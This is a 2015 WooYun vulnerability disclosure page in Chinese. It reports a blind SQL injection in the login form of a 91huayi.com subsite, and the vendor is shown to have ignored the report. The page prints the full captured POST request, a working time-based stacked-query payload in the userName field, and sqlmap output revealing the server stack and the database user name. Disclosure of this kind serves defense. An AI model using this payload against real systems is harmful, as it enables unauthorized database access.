当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0154893

漏洞标题:华医网某站存在sql注入漏洞

相关厂商:91huayi.com

漏洞作者: 路人甲

提交时间:2015-11-23 12:17

修复时间:2015-11-28 12:18

公开时间:2015-11-28 12:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-23: 细节已通知厂商并且等待厂商处理中
2015-11-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

恭喜恒大~

详细说明:

http://xjxy.91huayi.com/index.aspx


登录框

zhangsan@ubuntu:~/Desktop/sqlmap$ vim 1.txt
POST /zgpxServ/ManagerLoginServ.aspx HTTP/1.1
Host: xjxy.91huayi.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: application/xml, text/xml, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://xjxy.91huayi.com/index.aspx
Content-Length: 25
Cookie: Hm_lvt_b8b19370771d6914b2aac73158a962b8=1448095763,1448111452; Hm_lpvt_b8b19370771d6914b2aac73158a962b8=1448119133; Hm_lvt_ff0968fe442c4e89bf0c5108743a5f31=1448096058; Hm_lpvt_ff0968fe442c4e89bf0c5108743a5f31=1448119133
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
userName=aaa&passWord=aaa


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: userName (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: userName=aaa';WAITFOR DELAY '0:0:5'--&passWord=aaa
---
[07:32:19] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005


盲注。

漏洞证明:

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: userName (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: userName=aaa';WAITFOR DELAY '0:0:5'--&passWord=aaa
---
[07:31:03] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005
[07:31:03] [INFO] fetching current user
[07:31:03] [WARNING] time-based comparison requires larger statistical model, please wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[07:31:13] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[07:31:23] [INFO] adjusting time delay to 1 second due to good response times
yaofukui
current user: 'yaofukui'

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-11-28 12:18

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

评价